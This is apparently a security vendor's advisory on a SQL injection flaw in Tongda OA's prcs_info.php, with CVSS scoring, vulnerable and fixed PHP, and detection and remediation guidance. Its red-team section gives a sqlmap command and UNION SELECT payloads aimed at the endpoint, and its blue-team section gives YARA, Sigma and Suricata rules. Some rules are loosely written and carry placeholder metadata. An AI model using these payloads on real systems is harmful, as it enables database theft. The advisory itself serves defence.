CVE-2024-10657

Executive Summary

CVE-2024-10657 is a critical SQL injection vulnerability in Tongda OA, affecting versions up to 11.10. The flaw resides in the /pda/approve_center/prcs_info.php file, where the RUN_ID parameter is not properly sanitized before being used in a SQL query. This allows an unauthenticated remote attacker to inject arbitrary SQL commands, potentially leading to full database compromise, data exfiltration, and further lateral movement within the network. The exploit has been publicly disclosed, increasing the risk of widespread exploitation. No official patch is currently available.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a custom PHP application (Tongda OA) and should be treated as a first-party software supply chain risk.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The combination of remote exploitability, no authentication requirement, and public exploit code makes this a high-priority threat for any organization using Tongda OA.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the prcs_info.php script. The RUN_ID parameter is likely concatenated directly into a SQL query without proper escaping or parameterization. An attacker can inject SQL commands by providing a malicious value for RUN_ID, such as:

1 UNION SELECT username,password FROM users

This would allow the attacker to retrieve sensitive data from the database. The injection point is likely within a WHERE clause, allowing for both in-band and out-of-band data extraction.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<?php
$run_id = $_GET['RUN_ID'];
$sql = "SELECT * FROM prcs_info WHERE RUN_ID = " . $run_id;
$result = mysqli_query($conn, $sql);
?>

Patched Code (Conceptual):

<?php
$run_id = intval($_GET['RUN_ID']); // or use prepared statements
$sql = "SELECT * FROM prcs_info WHERE RUN_ID = ?";
$stmt = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param($stmt, "i", $run_id);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
?>

The patched version uses parameterized queries (prepared statements) to prevent SQL injection. Alternatively, casting the input to an integer would also mitigate the issue if the RUN_ID is always numeric.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable instance of Tongda OA (version 11.10 or earlier) in a controlled environment.
2. Ensure the /pda/approve_center/prcs_info.php endpoint is accessible.

Exploitation Steps:

1. Reconnaissance: Identify the target endpoint.

   curl -v "http://target.com/pda/approve_center/prcs_info.php?RUN_ID=1"
   

2. SQL Injection: Use a tool like sqlmap to automate exploitation.

   sqlmap -u "http://target.com/pda/approve_center/prcs_info.php?RUN_ID=1" --batch --dbs
   

3. Manual Exploitation: Inject a UNION-based payload to extract data.

   http://target.com/pda/approve_center/prcs_info.php?RUN_ID=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--
   

4. Data Exfiltration: Extract database names, tables, and sensitive data.

Blue Team

Detection Steps:

1. Monitor Web Logs: Look for abnormal patterns in the RUN_ID parameter.

   grep -E "RUN_ID=.*[^0-9]" /var/log/apache2/access.log
   

2. WAF Rules: Implement a Web Application Firewall (WAF) rule to block SQL injection attempts.

   if ($args ~* "RUN_ID=.*[^0-9]") {
       return 403;
   }
   

3. Network Monitoring: Detect outbound data exfiltration attempts.
4. Honeypot: Deploy a fake endpoint to lure attackers and gather intelligence.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /pda/approve_center/prcs_info.php with non-numeric RUN_ID values.
  • SQL error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
  • Unusual outbound traffic from the OA server to external IPs.

• File IOCs:

  • Modified prcs_info.php file (if attacker uploads a web shell).
  • Suspicious files in the web root (e.g., cmd.php, shell.php).

• Log IOCs:

  • Multiple failed login attempts (if attacker tries to escalate privileges).
  • Database query logs showing UNION or OR 1=1 patterns.

Detection Engineering

YARA Rule

rule CVE_2024_10657_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-10657 in Tongda OA"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-10657"
    strings:
        $s1 = "RUN_ID=" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "OR" nocase
        $s5 = "1=1" nocase
    condition:
        $s1 and (any of ($s2,$s3,$s4,$s5))
}

Sigma Rule

title: CVE-2024-10657 SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts against Tongda OA prcs_info.php
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "RUN_ID="
    keywords:
        - "UNION"
        - "SELECT"
        - "OR"
        - "1=1"
    condition: selection and keywords
falsepositives:
    - Legitimate use of UNION in a query (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10657 SQL Injection Attempt"; flow:to_server; content:"/pda/approve_center/prcs_info.php"; http_uri; content:"RUN_ID="; http_uri; pcre:"/RUN_ID=[^0-9]/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the OA server from the internet if possible.
2. Apply a WAF rule to block SQL injection attempts.
3. Monitor logs for signs of exploitation.

Long-Term Fix:

1. Apply the official patch when released by Tongda.
2. Upgrade to a patched version (if available).
3. Implement input validation and parameterized queries in all PHP scripts.
4. Conduct a security audit of the entire application.

Workaround:

• Modify the prcs_info.php file to sanitize the RUN_ID parameter:

  $run_id = intval($_GET['RUN_ID']);
  

Valters IT
Securing Your Digital Frontier